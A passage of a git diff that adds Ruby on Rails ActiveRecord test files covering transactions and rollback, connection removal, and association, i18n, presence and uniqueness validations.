+ assert topic.frozen?, 'not frozen'
+ end
+
+ def test_restore_active_record_state_for_all_records_in_a_transaction
+ topic_1 = Topic.new(:title => 'test_1')
+ topic_2 = Topic.new(:title => 'test_2')
+ Topic.transaction do
+ assert topic_1.save
+ assert topic_2.save
+ @first.save
+ @second.destroy
+ assert topic_1.persisted?, 'persisted'
+ assert_not_nil topic_1.id
+ assert topic_2.persisted?, 'persisted'
+ assert_not_nil topic_2.id
+ assert @first.persisted?, 'persisted'
+ assert_not_nil @first.id
+ assert @second.destroyed?, 'destroyed'
+ raise ActiveRecord::Rollback
+ end
+
+ assert !topic_1.persisted?, 'not persisted'
+ assert_nil topic_1.id
+ assert !topic_2.persisted?, 'not persisted'
+ assert_nil topic_2.id
+ assert @first.persisted?, 'persisted'
+ assert_not_nil @first.id
+ assert !@second.destroyed?, 'not destroyed'
+ end
+
+ if current_adapter?(:PostgreSQLAdapter) && defined?(PGconn::PQTRANS_IDLE)
+ def test_outside_transaction_works
+ assert assert_deprecated { Topic.connection.outside_transaction? }
+ Topic.connection.begin_db_transaction
+ assert assert_deprecated { !Topic.connection.outside_transaction? }
+ Topic.connection.rollback_db_transaction
+ assert assert_deprecated { Topic.connection.outside_transaction? }
+ end
+ end
+
+ def test_sqlite_add_column_in_transaction
+ return true unless current_adapter?(:SQLite3Adapter)
+
+ # Test first if column creation/deletion works correctly when no
+ # transaction is in place.
+ #
+ # We go back to the connection for the column queries because
+ # Topic.columns is cached and won't report changes to the DB
+
+ assert_nothing_raised do
+ Topic.reset_column_information
+ Topic.connection.add_column('topics', 'stuff', :string)
+ assert Topic.column_names.include?('stuff')
+
+ Topic.reset_column_information
+ Topic.connection.remove_column('topics', 'stuff')
+ assert !Topic.column_names.include?('stuff')
+ end
+
+ if Topic.connection.supports_ddl_transactions?
+ assert_nothing_raised do
+ Topic.transaction { Topic.connection.add_column('topics', 'stuff', :string) }
+ end
+ else
+ Topic.transaction do
+ assert_raise(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) }
+ raise ActiveRecord::Rollback
+ end
+ end
+ end
+
+ def test_transactions_state_from_rollback
+ connection = Topic.connection
+ transaction = ActiveRecord::ConnectionAdapters::ClosedTransaction.new(connection).begin
+
+ assert transaction.open?
+ assert !transaction.state.rolledback?
+ assert !transaction.state.committed?
+
+ transaction.perform_rollback
+
+ assert transaction.state.rolledback?
+ assert !transaction.state.committed?
+ end
+
+ def test_transactions_state_from_commit
+ connection = Topic.connection
+ transaction = ActiveRecord::ConnectionAdapters::ClosedTransaction.new(connection).begin
+
+ assert transaction.open?
+ assert !transaction.state.rolledback?
+ assert !transaction.state.committed?
+
+ transaction.perform_commit
+
+ assert !transaction.state.rolledback?
+ assert transaction.state.committed?
+ end
+
+ private
+
+ %w(validation save destroy).each do |filter|
+ define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do |topic|
+ meta = class << topic; self; end
+ meta.send("define_method", "before_#{filter}_for_transaction") do
+ Book.create
+ false
+ end
+ end
+ end
+end
+
+class TransactionsWithTransactionalFixturesTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = true
+ fixtures :topics
+
+ def test_automatic_savepoint_in_outer_transaction
+ @first = Topic.find(1)
+
+ begin
+ Topic.transaction do
+ @first.approved = true
+ @first.save!
+ raise
+ end
+ rescue
+ assert !@first.reload.approved?
+ end
+ end
+
+ def test_no_automatic_savepoint_for_inner_transaction
+ @first = Topic.find(1)
+
+ Topic.transaction do
+ @first.approved = true
+ @first.save!
+
+ begin
+ Topic.transaction do
+ @first.approved = false
+ @first.save!
+ raise
+ end
+ rescue
+ end
+ end
+
+ assert !@first.reload.approved?
+ end
+end if Topic.connection.supports_savepoints?
+
+if current_adapter?(:PostgreSQLAdapter)
+ class ConcurrentTransactionTest < TransactionTest
+ # This will cause transactions to overlap and fail unless they are performed on
+ # separate database connections.
+ def test_transaction_per_thread
+ assert_nothing_raised do
+ threads = (1..3).map do
+ Thread.new do
+ Topic.transaction do
+ topic = Topic.find(1)
+ topic.approved = !topic.approved?
+ topic.save!
+ topic.approved = !topic.approved?
+ topic.save!
+ end
+ Topic.connection.close
+ end
+ end
+
+ threads.each { |t| t.join }
+ end
+ end
+
+ # Test for dirty reads among simultaneous transactions.
+ def test_transaction_isolation__read_committed
+ # Should be invariant.
+ original_salary = Developer.find(1).salary
+ temporary_salary = 200000
+
+ assert_nothing_raised do
+ threads = (1..3).map do
+ Thread.new do
+ Developer.transaction do
+ # Expect original salary.
+ dev = Developer.find(1)
+ assert_equal original_salary, dev.salary
+
+ dev.salary = temporary_salary
+ dev.save!
+
+ # Expect temporary salary.
+ dev = Developer.find(1)
+ assert_equal temporary_salary, dev.salary
+
+ dev.salary = original_salary
+ dev.save!
+
+ # Expect original salary.
+ dev = Developer.find(1)
+ assert_equal original_salary, dev.salary
+ end
+ Developer.connection.close
+ end
+ end
+
+ # Keep our eyes peeled.
+ threads << Thread.new do
+ 10.times do
+ sleep 0.05
+ Developer.transaction do
+ # Always expect original salary.
+ assert_equal original_salary, Developer.find(1).salary
+ end
+ end
+ Developer.connection.close
+ end
+
+ threads.each { |t| t.join }
+ end
+
+ assert_equal original_salary, Developer.find(1).salary
+ end
+
+ test "#transaction_joinable= is deprecated" do
+ Developer.transaction do
+ conn = Developer.connection
+ assert conn.current_transaction.joinable?
+ assert_deprecated { conn.transaction_joinable = false }
+ assert !conn.current_transaction.joinable?
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb
new file mode 100644
index 0000000..e82ca3f
--- /dev/null
+++ b/activerecord/test/cases/unconnected_test.rb
@@ -0,0 +1,33 @@
+require "cases/helper"
+
+class TestRecord < ActiveRecord::Base
+end
+
+class TestUnconnectedAdapter < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @underlying = ActiveRecord::Base.connection
+ @specification = ActiveRecord::Base.remove_connection
+ end
+
+ def teardown
+ @underlying = nil
+ ActiveRecord::Base.establish_connection(@specification)
+ load_schema if in_memory_db?
+ end
+
+ def test_connection_no_longer_established
+ assert_raise(ActiveRecord::ConnectionNotEstablished) do
+ TestRecord.find(1)
+ end
+
+ assert_raise(ActiveRecord::ConnectionNotEstablished) do
+ TestRecord.new.save
+ end
+ end
+
+ def test_underlying_adapter_no_longer_active
+ assert !@underlying.active?, "Removed adapter should no longer be active"
+ end
+end
diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb
new file mode 100644
index 0000000..7ac34bc
--- /dev/null
+++ b/activerecord/test/cases/validations/association_validation_test.rb
@@ -0,0 +1,138 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/owner'
+require 'models/pet'
+require 'models/man'
+require 'models/interest'
+
+class AssociationValidationTest < ActiveRecord::TestCase
+ fixtures :topics, :owners
+
+ repair_validations(Topic, Reply, Owner)
+
+ def test_validates_size_of_association
+ assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+ o = Owner.new('name' => 'nopets')
+ assert !o.save
+ assert o.errors[:pets].any?
+ o.pets.build('name' => 'apet')
+ assert o.valid?
+ end
+
+ def test_validates_size_of_association_using_within
+ assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
+ o = Owner.new('name' => 'nopets')
+ assert !o.save
+ assert o.errors[:pets].any?
+
+ o.pets.build('name' => 'apet')
+ assert o.valid?
+
+ 2.times { o.pets.build('name' => 'apet') }
+ assert !o.save
+ assert o.errors[:pets].any?
+ end
+
+ def test_validates_associated_many
+ Topic.validates_associated(:replies)
+ Reply.validates_presence_of(:content)
+ t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+ t.replies << [r = Reply.new("title" => "A reply"), r2 = Reply.new("title" => "Another reply", "content" => "non-empty"), r3 = Reply.new("title" => "Yet another reply"), r4 = Reply.new("title" => "The last reply", "content" => "non-empty")]
+ assert !t.valid?
+ assert t.errors[:replies].any?
+ assert_equal 1, r.errors.count # make sure all associated objects have been validated
+ assert_equal 0, r2.errors.count
+ assert_equal 1, r3.errors.count
+ assert_equal 0, r4.errors.count
+ r.content = r3.content = "non-empty"
+ assert t.valid?
+ end
+
+ def test_validates_associated_one
+ Reply.validates :topic, :associated => true
+ Topic.validates_presence_of( :content )
+ r = Reply.new("title" => "A reply", "content" => "with content!")
+ r.topic = Topic.create("title" => "uhohuhoh")
+ assert !r.valid?
+ assert r.errors[:topic].any?
+ r.topic.content = "non-empty"
+ assert r.valid?
+ end
+
+ def test_validates_associated_marked_for_destruction
+ Topic.validates_associated(:replies)
+ Reply.validates_presence_of(:content)
+ t = Topic.new
+ t.replies << Reply.new
+ assert t.invalid?
+ t.replies.first.mark_for_destruction
+ assert t.valid?
+ end
+
+ def test_validates_associated_with_custom_message_using_quotes
+ Reply.validates_associated :topic, :message=> "This string contains 'single' and \"double\" quotes"
+ Topic.validates_presence_of :content
+ r = Reply.create("title" => "A reply", "content" => "with content!")
+ r.topic = Topic.create("title" => "uhohuhoh")
+ assert !r.valid?
+ assert_equal ["This string contains 'single' and \"double\" quotes"], r.errors[:topic]
+ end
+
+ def test_validates_associated_missing
+ Reply.validates_presence_of(:topic)
+ r = Reply.create("title" => "A reply", "content" => "with content!")
+ assert !r.valid?
+ assert r.errors[:topic].any?
+
+ r.topic = Topic.first
+ assert r.valid?
+ end
+
+ def test_validates_size_of_association_utf8
+ assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+ o = Owner.new('name' => 'あいうえおかきくけこ')
+ assert !o.save
+ assert o.errors[:pets].any?
+ o.pets.build('name' => 'あいうえおかきくけこ')
+ assert o.valid?
+ end
+
+ def test_validates_presence_of_belongs_to_association__parent_is_new_record
+ repair_validations(Interest) do
+ # Note that Interest and Man have the :inverse_of option set
+ Interest.validates_presence_of(:man)
+ man = Man.new(:name => 'John')
+ interest = man.interests.build(:topic => 'Airplanes')
+ assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
+ end
+ end
+
+ def test_validates_presence_of_belongs_to_association__existing_parent
+ repair_validations(Interest) do
+ Interest.validates_presence_of(:man)
+ man = Man.create!(:name => 'John')
+ interest = man.interests.build(:topic => 'Airplanes')
+ assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
+ end
+ end
+
+ def test_validates_associated_models_in_the_same_context
+ Topic.validates_presence_of :title, :on => :custom_context
+ Topic.validates_associated :replies
+ Reply.validates_presence_of :title, :on => :custom_context
+
+ t = Topic.new('title' => '')
+ r = t.replies.new('title' => '')
+
+ assert t.valid?
+ assert !t.valid?(:custom_context)
+
+ t.title = "Longer"
+ assert !t.valid?(:custom_context), "Should NOT be valid if the associated object is not valid in the same context."
+
+ r.title = "Longer"
+ assert t.valid?(:custom_context), "Should be valid if the associated object is not valid in the same context."
+ end
+end
diff --git a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
new file mode 100644
index 0000000..32d2bf7
--- /dev/null
+++ b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -0,0 +1,76 @@
+require "cases/helper"
+require 'models/topic'
+
+class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
+ def setup
+ Topic.reset_callbacks(:validate)
+ @topic = Topic.new
+ I18n.backend = I18n::Backend::Simple.new
+ end
+
+ def reset_i18n_load_path
+ @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+ I18n.load_path.clear
+ I18n.backend = I18n::Backend::Simple.new
+ yield
+ ensure
+ I18n.load_path.replace @old_load_path
+ I18n.backend = @old_backend
+ end
+
+ # validates_associated: generate_message(attr_name, :invalid, :message => custom_message, :value => value)
+ def test_generate_message_invalid_with_default_message
+ assert_equal 'is invalid', @topic.errors.generate_message(:title, :invalid, :value => 'title')
+ end
+
+ def test_generate_message_invalid_with_custom_message
+ assert_equal 'custom message title', @topic.errors.generate_message(:title, :invalid, :message => 'custom message %{value}', :value => 'title')
+ end
+
+ # validates_uniqueness_of: generate_message(attr_name, :taken, :message => custom_message)
+ def test_generate_message_taken_with_default_message
+ assert_equal "has already been taken", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
+
+ def test_generate_message_taken_with_custom_message
+ assert_equal 'custom message title', @topic.errors.generate_message(:title, :taken, :message => 'custom message %{value}', :value => 'title')
+ end
+
+ # ActiveRecord#RecordInvalid exception
+
+ test "RecordInvalid exception can be localized" do
+ topic = Topic.new
+ topic.errors.add(:title, :invalid)
+ topic.errors.add(:title, :blank)
+ assert_equal "Validation failed: Title is invalid, Title can't be blank", ActiveRecord::RecordInvalid.new(topic).message
+ end
+
+ test "RecordInvalid exception translation falls back to the :errors namespace" do
+ reset_i18n_load_path do
+ I18n.backend.store_translations 'en', :errors => {:messages => {:record_invalid => 'fallback message'}}
+ topic = Topic.new
+ topic.errors.add(:title, :blank)
+ assert_equal "fallback message", ActiveRecord::RecordInvalid.new(topic).message
+ end
+ end
+
+ test "translation for 'taken' can be overridden" do
+ I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
+
+ test "translation for 'taken' can be overridden in activerecord scope" do
+ I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
+
+ test "translation for 'taken' can be overridden in activerecord model scope" do
+ I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
+
+ test "translation for 'taken' can be overridden in activerecord attributes scope" do
+ I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
+end
diff --git a/activerecord/test/cases/validations/i18n_validation_test.rb b/activerecord/test/cases/validations/i18n_validation_test.rb
new file mode 100644
index 0000000..efa0c9b
--- /dev/null
+++ b/activerecord/test/cases/validations/i18n_validation_test.rb
@@ -0,0 +1,89 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+
+class I18nValidationTest < ActiveRecord::TestCase
+ repair_validations(Topic, Reply)
+
+ def setup
+ Reply.validates_presence_of(:title)
+ @topic = Topic.new
+ @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+ I18n.load_path.clear
+ I18n.backend = I18n::Backend::Simple.new
+ I18n.backend.store_translations('en', :errors => {:messages => {:custom => nil}})
+ end
+
+ def teardown
+ I18n.load_path.replace @old_load_path
+ I18n.backend = @old_backend
+ end
+
+ def unique_topic
+ @unique ||= Topic.create :title => 'unique!'
+ end
+
+ def replied_topic
+ @replied_topic ||= begin
+ topic = Topic.create(:title => "topic")
+ topic.replies << Reply.new
+ topic
+ end
+ end
+
+ # A set of common cases for ActiveModel::Validations message generation that
+ # are used to generate tests to keep things DRY
+ #
+ COMMON_CASES = [
+ # [ case, validation_options, generate_message_options]
+ [ "given no options", {}, {}],
+ [ "given custom message", {:message => "custom"}, {:message => "custom"}],
+ [ "given if condition", {:if => lambda { true }}, {}],
+ [ "given unless condition", {:unless => lambda { false }}, {}],
+ [ "given option that is not reserved", {:format => "jpg"}, {:format => "jpg" }]
+ # TODO Add :on case, but below doesn't work, because then the validation isn't run for some reason
+ # even when using .save instead .valid?
+ # [ "given on condition", {on: :save}, {}]
+ ]
+
+ # validates_uniqueness_of w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_uniqueness_of on generated message #{name}" do
+ Topic.validates_uniqueness_of :title, validation_options
+ @topic.title = unique_topic.title
+ @topic.errors.expects(:generate_message).with(:title, :taken, generate_message_options.merge(:value => 'unique!'))
+ @topic.valid?
+ end
+ end
+
+ # validates_associated w/ mocha
+
+ COMMON_CASES.each do |name, validation_options, generate_message_options|
+ test "validates_associated on generated message #{name}" do
+ Topic.validates_associated :replies, validation_options
+ replied_topic.errors.expects(:generate_message).with(:replies, :invalid, generate_message_options.merge(:value => replied_topic.replies))
+ replied_topic.save
+ end
+ end
+
+ # validates_associated w/o mocha
+
+ def test_validates_associated_finds_custom_model_key_translation
+ I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:replies => {:invalid => 'custom message'}}}}}}
+ I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
+
+ Topic.validates_associated :replies
+ replied_topic.valid?
+ assert_equal ['custom message'], replied_topic.errors[:replies].uniq
+ end
+
+ def test_validates_associated_finds_global_default_translation
+ I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
+
+ Topic.validates_associated :replies
+ replied_topic.valid?
+ assert_equal ['global message'], replied_topic.errors[:replies]
+ end
+
+end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
new file mode 100644
index 0000000..1de8934
--- /dev/null
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -0,0 +1,51 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/man'
+require 'models/face'
+require 'models/interest'
+
+class PresenceValidationTest < ActiveRecord::TestCase
+ class Boy < Man; end
+
+ repair_validations(Boy)
+
+ def test_validates_presence_of_non_association
+ Boy.validates_presence_of(:name)
+ b = Boy.new
+ assert b.invalid?
+
+ b.name = "Alex"
+ assert b.valid?
+ end
+
+ def test_validates_presence_of_has_one
+ Boy.validates_presence_of(:face)
+ b = Boy.new
+ assert b.invalid?, "should not be valid if has_one association missing"
+ assert_equal 1, b.errors[:face].size, "validates_presence_of should only add one error"
+ end
+
+ def test_validates_presence_of_has_one_marked_for_destruction
+ Boy.validates_presence_of(:face)
+ b = Boy.new
+ f = Face.new
+ b.face = f
+ assert b.valid?
+
+ f.mark_for_destruction
+ assert b.invalid?
+ end
+
+ def test_validates_presence_of_has_many_marked_for_destruction
+ Boy.validates_presence_of(:interests)
+ b = Boy.new
+ b.interests << [i1 = Interest.new, i2 = Interest.new]
+ assert b.valid?
+
+ i1.mark_for_destruction
+ assert b.valid?
+
+ i2.mark_for_destruction
+ assert b.invalid?
+ end
+end
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
new file mode 100644
index 0000000..5745735
--- /dev/null
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -0,0 +1,379 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/warehouse_thing'
+require 'models/guid'
+require 'models/event'
+
+class Wizard < ActiveRecord::Base
+ self.abstract_class = true
+
+ validates_uniqueness_of :name
+end
+
+class IneptWizard < Wizard
+ validates_uniqueness_of :city
+end
+
+class Conjurer < IneptWizard
+end
+
+class Thaumaturgist < IneptWizard
+end
+
+class ReplyTitle; end
+
+class ReplyWithTitleObject < Reply
+ validates_uniqueness_of :content, :scope => :title
+
+ def title; ReplyTitle.new; end
+end
+
+class Employee < ActiveRecord::Base
+ self.table_name = 'postgresql_arrays'
+ validates_uniqueness_of :nicknames
+end
+
+class UniquenessValidationTest < ActiveRecord::TestCase
+ fixtures :topics, 'warehouse-things', :developers
+
+ repair_validations(Topic, Reply)
+
+ def test_validate_uniqueness
+ Topic.validates_uniqueness_of(:title)
+
+ t = Topic.new("title" => "I'm uniqué!")
+ assert t.save, "Should save t as unique"
+
+ t.content = "Remaining unique"
+ assert t.save, "Should still save t as unique"
+
+ t2 = Topic.new("title" => "I'm uniqué!")
+ assert !t2.valid?, "Shouldn't be valid"
+ assert !t2.save, "Shouldn't save t2 as unique"
+ assert_equal ["has already been taken"], t2.errors[:title]
+
+ t2.title = "Now I am really also unique"
+ assert t2.save, "Should now save t2 as unique"
+ end
+
+ def test_validates_uniqueness_with_nil_value
+ Topic.validates_uniqueness_of(:title)
+
+ t = Topic.new("title" => nil)
+ assert t.save, "Should save t as unique"
+
+ t2 = Topic.new("title" => nil)
+ assert !t2.valid?, "Shouldn't be valid"
+ assert !t2.save, "Shouldn't save t2 as unique"
+ assert_equal ["has already been taken"], t2.errors[:title]
+ end
+
+ def test_validates_uniqueness_with_validates
+ Topic.validates :title, :uniqueness => true
+ Topic.create!('title' => 'abc')
+
+ t2 = Topic.new('title' => 'abc')
+ assert !t2.valid?
+ assert t2.errors[:title]
+ end
+
+ def test_validates_uniqueness_with_newline_chars
+ Topic.validates_uniqueness_of(:title, :case_sensitive => false)
+
+ t = Topic.new("title" => "new\nline")
+ assert t.save, "Should save t as unique"
+ end
+
+ def test_validate_uniqueness_with_scope
+ Reply.validates_uniqueness_of(:content, :scope => "parent_id")
+
+ t = Topic.create("title" => "I'm unique!")
+
+ r1 = t.replies.create "title" => "r1", "content" => "hello world"
+ assert r1.valid?, "Saving r1"
+
+ r2 = t.replies.create "title" => "r2", "content" => "hello world"
+ assert !r2.valid?, "Saving r2 first time"
+
+ r2.content = "something else"
+ assert r2.save, "Saving r2 second time"
+
+ t2 = Topic.create("title" => "I'm unique too!")
+ r3 = t2.replies.create "title" => "r3", "content" => "hello world"
+ assert r3.valid?, "Saving r3"
+ end
+
+ def test_validate_uniqueness_with_object_scope
+ Reply.validates_uniqueness_of(:content, :scope => :topic)
+
+ t = Topic.create("title" => "I'm unique!")
+
+ r1 = t.replies.create "title" => "r1", "content" => "hello world"
+ assert r1.valid?, "Saving r1"
+
+ r2 = t.replies.create "title" => "r2", "content" => "hello world"
+ assert !r2.valid?, "Saving r2 first time"
+ end
+
+ def test_validate_uniqueness_with_composed_attribute_scope
+ r1 = ReplyWithTitleObject.create "title" => "r1", "content" => "hello world"
+ assert r1.valid?, "Saving r1"
+
+ r2 = ReplyWithTitleObject.create "title" => "r1", "content" => "hello world"
+ assert !r2.valid?, "Saving r2 first time"
+ end
+
+ def test_validate_uniqueness_with_object_arg
+ Reply.validates_uniqueness_of(:topic)
+
+ t = Topic.create("title" => "I'm unique!")
+
+ r1 = t.replies.create "title" => "r1", "content" => "hello world"
+ assert r1.valid?, "Saving r1"
+
+ r2 = t.replies.create "title" => "r2", "content" => "hello world"
+ assert !r2.valid?, "Saving r2 first time"
+ end
+
+ def test_validate_uniqueness_scoped_to_defining_class
+ t = Topic.create("title" => "What, me worry?")
+
+ r1 = t.unique_replies.create "title" => "r1", "content" => "a barrel of fun"
+ assert r1.valid?, "Saving r1"
+
+ r2 = t.silly_unique_replies.create "title" => "r2", "content" => "a barrel of fun"
+ assert !r2.valid?, "Saving r2"
+
+ # Should succeed as validates_uniqueness_of only applies to
+ # UniqueReply and its subclasses
+ r3 = t.replies.create "title" => "r2", "content" => "a barrel of fun"
+ assert r3.valid?, "Saving r3"
+ end
+
+ def test_validate_uniqueness_with_scope_array
+ Reply.validates_uniqueness_of(:author_name, :scope => [:author_email_address, :parent_id])
+
+ t = Topic.create("title" => "The earth is actually flat!")
+
+ r1 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy at rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply"
+ assert r1.valid?, "Saving r1"
+
+ r2 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy at rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply again..."
+ assert !r2.valid?, "Saving r2. Double reply by same author."
+
+ r2.author_email_address = "jeremy_alt_email at rubyonrails.com"
+ assert r2.save, "Saving r2 the second time."
+
+ r3 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy_alt_email at rubyonrails.com", "title" => "You're wrong", "content" => "It's cubic"
+ assert !r3.valid?, "Saving r3"
+
+ r3.author_name = "jj"
+ assert r3.save, "Saving r3 the second time."
+
+ r3.author_name = "jeremy"
+ assert !r3.save, "Saving r3 the third time."
+ end
+
+ def test_validate_case_insensitive_uniqueness
+ Topic.validates_uniqueness_of(:title, :parent_id, :case_sensitive => false, :allow_nil => true)
+
+ t = Topic.new("title" => "I'm unique!", :parent_id => 2)
+ assert t.save, "Should save t as unique"
+
+ t.content = "Remaining unique"
+ assert t.save, "Should still save t as unique"
+
+ t2 = Topic.new("title" => "I'm UNIQUE!", :parent_id => 1)
+ assert !t2.valid?, "Shouldn't be valid"
+ assert !t2.save, "Shouldn't save t2 as unique"
+ assert t2.errors[:title].any?
+ assert t2.errors[:parent_id].any?
+ assert_equal ["has already been taken"], t2.errors[:title]
+
+ t2.title = "I'm truly UNIQUE!"
+ assert !t2.valid?, "Shouldn't be valid"
+ assert !t2.save, "Shouldn't save t2 as unique"
+ assert t2.errors[:title].empty?
+ assert t2.errors[:parent_id].any?
+
+ t2.parent_id = 4
+ assert t2.save, "Should now save t2 as unique"
+
+ t2.parent_id = nil
+ t2.title = nil
+ assert t2.valid?, "should validate with nil"
+ assert t2.save, "should save with nil"
+
+ t_utf8 = Topic.new("title" => "Я тоже уникальный!")
+ assert t_utf8.save, "Should save t_utf8 as unique"
+
+ # If database hasn't UTF-8 character set, this test fails
+ if Topic.all.merge!(:select => 'LOWER(title) AS title').find(t_utf8).title == "я тоже уникальный!"
+ t2_utf8 = Topic.new("title" => "я тоже УНИКАЛЬНЫЙ!")
+ assert !t2_utf8.valid?, "Shouldn't be valid"
+ assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
+ end
+ end
+
+ def test_validate_case_sensitive_uniqueness_with_special_sql_like_chars
+ Topic.validates_uniqueness_of(:title, :case_sensitive => true)
+
+ t = Topic.new("title" => "I'm unique!")
+ assert t.save, "Should save t as unique"
+
+ t2 = Topic.new("title" => "I'm %")
+ assert t2.save, "Should save t2 as unique"
+
+ t3 = Topic.new("title" => "I'm uniqu_!")
+ assert t3.save, "Should save t3 as unique"
+ end
+
+ def test_validate_case_insensitive_uniqueness_with_special_sql_like_chars
+ Topic.validates_uniqueness_of(:title, :case_sensitive => false)
+
+ t = Topic.new("title" => "I'm unique!")
+ assert t.save, "Should save t as unique"
+
+ t2 = Topic.new("title" => "I'm %")
+ assert t2.save, "Should save t2 as unique"
+
+ t3 = Topic.new("title" => "I'm uniqu_!")
+ assert t3.save, "Should save t3 as unique"
+ end
+
+ def test_validate_case_sensitive_uniqueness
+ Topic.validates_uniqueness_of(:title, :case_sensitive => true, :allow_nil => true)
+
+ t = Topic.new("title" => "I'm unique!")
+ assert t.save, "Should save t as unique"
+
+ t.content = "Remaining unique"
+ assert t.save, "Should still save t as unique"
+
+ t2 = Topic.new("title" => "I'M UNIQUE!")
+ assert t2.valid?, "Should be valid"
+ assert t2.save, "Should save t2 as unique"
+ assert t2.errors[:title].empty?
+ assert t2.errors[:parent_id].empty?
+ assert_not_equal ["has already been taken"], t2.errors[:title]
+
+ t3 = Topic.new("title" => "I'M uNiQUe!")
+ assert t3.valid?, "Should be valid"
+ assert t3.save, "Should save t2 as unique"
+ assert t3.errors[:title].empty?
+ assert t3.errors[:parent_id].empty?
+ assert_not_equal ["has already been taken"], t3.errors[:title]
+ end
+
+ def test_validate_case_sensitive_uniqueness_with_attribute_passed_as_integer
+ Topic.validates_uniqueness_of(:title, :case_sensitve => true)
+ Topic.create!('title' => 101)
+
+ t2 = Topic.new('title' => 101)
+ assert !t2.valid?
+ assert t2.errors[:title]
+ end
+
+ def test_validate_uniqueness_with_non_standard_table_names
+ i1 = WarehouseThing.create(:value => 1000)
+ assert !i1.valid?, "i1 should not be valid"
+ assert i1.errors[:value].any?, "Should not be empty"
+ end
+
+ def test_validates_uniqueness_inside_scoping
+ Topic.validates_uniqueness_of(:title)
+
+ Topic.where(:author_name => "David").scoping do
+ t1 = Topic.new("title" => "I'm unique!", "author_name" => "Mary")
+ assert t1.save
+ t2 = Topic.new("title" => "I'm unique!", "author_name" => "David")
+ assert !t2.valid?
+ end
+ end
+
+ def test_validate_uniqueness_with_columns_which_are_sql_keywords
+ repair_validations(Guid) do
+ Guid.validates_uniqueness_of :key
+ g = Guid.new
+ g.key = "foo"
+ assert_nothing_raised { !g.valid? }
+ end
+ end
+
+ def test_validate_uniqueness_with_limit
+ # Event.title is limited to 5 characters
+ e1 = Event.create(:title => "abcde")
+ assert e1.valid?, "Could not create an event with a unique, 5 character title"
+ e2 = Event.create(:title => "abcdefgh")
+ assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
+ end
+
+ def test_validate_uniqueness_with_limit_and_utf8
+ # Event.title is limited to 5 characters
+ e1 = Event.create(:title => "一二三四五")
+ assert e1.valid?, "Could not create an event with a unique, 5 character title"
+ e2 = Event.create(:title => "一二三四五六七八")
+ assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
+ end
+
+ def test_validate_straight_inheritance_uniqueness
+ w1 = IneptWizard.create(:name => "Rincewind", :city => "Ankh-Morpork")
+ assert w1.valid?, "Saving w1"
+
+ # Should use validation from base class (which is abstract)
+ w2 = IneptWizard.new(:name => "Rincewind", :city => "Quirm")
+ assert !w2.valid?, "w2 shouldn't be valid"
+ assert w2.errors[:name].any?, "Should have errors for name"
+ assert_equal ["has already been taken"], w2.errors[:name], "Should have uniqueness message for name"
+
+ w3 = Conjurer.new(:name => "Rincewind", :city => "Quirm")
+ assert !w3.valid?, "w3 shouldn't be valid"
+ assert w3.errors[:name].any?, "Should have errors for name"
+ assert_equal ["has already been taken"], w3.errors[:name], "Should have uniqueness message for name"
+
+ w4 = Conjurer.create(:name => "The Amazing Bonko", :city => "Quirm")
+ assert w4.valid?, "Saving w4"
+
+ w5 = Thaumaturgist.new(:name => "The Amazing Bonko", :city => "Lancre")
+ assert !w5.valid?, "w5 shouldn't be valid"
